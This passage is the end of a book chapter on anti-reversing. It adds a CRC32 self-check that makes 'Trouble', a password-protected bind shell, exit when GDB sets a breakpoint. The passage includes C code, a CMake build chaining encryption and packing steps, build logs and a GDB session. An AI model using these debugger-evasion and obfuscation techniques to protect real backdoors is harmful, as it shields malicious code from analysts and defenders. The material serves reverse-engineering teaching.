main_function_size = SIZEOF(.main_function);
}

Next we need to add definitions for .main_function and .compute_crc_main_function in trouble.c.

chap_6_debugger/dontpanic/trouble/src/trouble.c
uint32_t madvise_base __attribute((section(".madvise_base_addr"))) = 0;
uint32_t madvise_size __attribute((section(".madvise_size"))) = 0;
extern void* main_function_size;
uint32_t main_function_crc __attribute((section(".compute_crc_main_function"))) = 0;

Lets change before_main() to compare the stored crc32 of main() against the value
computed at runtime.

Chapter 6: Evading the Debugger

239

Compute the checksum at runtime

/**
* Before we enter main check to see if a debugger is present
*/
void __attribute__((constructor)) before_main()
{
// check for bp in launch_thread
if(crc32_bitwise((unsigned char*)(&main), (uint64_t)&main_function_size) !=
main_function_crc)
{
exit(0);
}
}

Finally, hook computeChecksums into Troubles CMakeLists.txt

chap_6_debugger/dontpanic/CMakeLists.txt
project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}" -Dpassword_size=33)
set(CMAKE_C_COMPILER musl-gcc)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -static -std=gnu11 -Wno-int-to-pointer-cas\
t")
add_executable(${PROJECT_NAME} src/trouble.c src/rc4.c src/crc32.c)
add_custom_target(addLDS
COMMAND sed -i -e 's,-o,${CMAKE_CURRENT_SOURCE_DIR}/trouble_layout.lds -o,g' ./CM\
akeFiles/trouble.dir/link.txt)

Chapter 6: Evading the Debugger

240

add_dependencies(${PROJECT_NAME} addLDS)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../madvise/madvise ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../computeChecksums/computeChecksums ${CMAKE_CURRENT_BINARY_DIR}/${PROJEC\
T_NAME})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../encryptFunctions/encryptFunctions ${CMAKE_CURRENT_BINARY_DIR}/${PROJEC\
T_NAME})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../cryptor/cryptor ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME})

You should now be able to recompile Trouble.

Compiling Trouble with computeChecksums hooked into the build process
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ make
[ 11%] Built target stripBinary
[ 22%] Built target fakeHeadersXBit
[ 38%] Built target encryptFunctions
Scanning dependencies of target computeChecksums
[ 44%] Building CXX object computeChecksums/CMakeFiles/computeChecksums.dir/src/compu\
teChecksums.cpp.o
[ 50%] Linking CXX executable computeChecksums
[ 55%] Built target computeChecksums
[ 66%] Built target madvise
[ 77%] Built target cryptor
[ 77%] Built target addLDS
Scanning dependencies of target trouble

Chapter 6: Evading the Debugger

241

[ 83%] Building C object trouble/CMakeFiles/trouble.dir/src/trouble.c.o

[ 88%] Building C object trouble/CMakeFiles/trouble.dir/src/rc4.c.o
[ 94%] Building C object trouble/CMakeFiles/trouble.dir/src/crc32.c.o
[100%] Linking C executable trouble
The bind shell password is: 5LMxre8Z052LlLk1nfOypemEZwJ56jK6
[+] Encrypted 0x3b26
[100%] Built target trouble

Now when you execute Trouble using GDB the output should look like this.
Trouble exits early with GDB attached
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo gdb ./troub\
le/trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x403c5a
Starting program: /home/albino-lobster/antire_book/chap_6_debugger/dontpanic/build/tr\
ouble/trouble
[Inferior 1 (process 39299) exited normally]
(gdb)

Trouble exits because GDB has modified main() by overwriting a byte with a
breakpoint. When Trouble computes the checksum over main() it wont match the
stored checksum which causes Trouble to exit.

Conclusion: All That We Fall For

This concludes the book. For your pleasure Ive created a final version of the
Trouble bind shell in its own GitHub repository. The goal of this version is to combine
as many of the anti-reversing techniques that you learned into a single binary.
Remember, Trouble is not immune to reversing. It is simply meant to be annoying to
reverse. You can find the final version here:
https://github.com/antire-book/dont_panic
Thanks for following along. Happy reversing!

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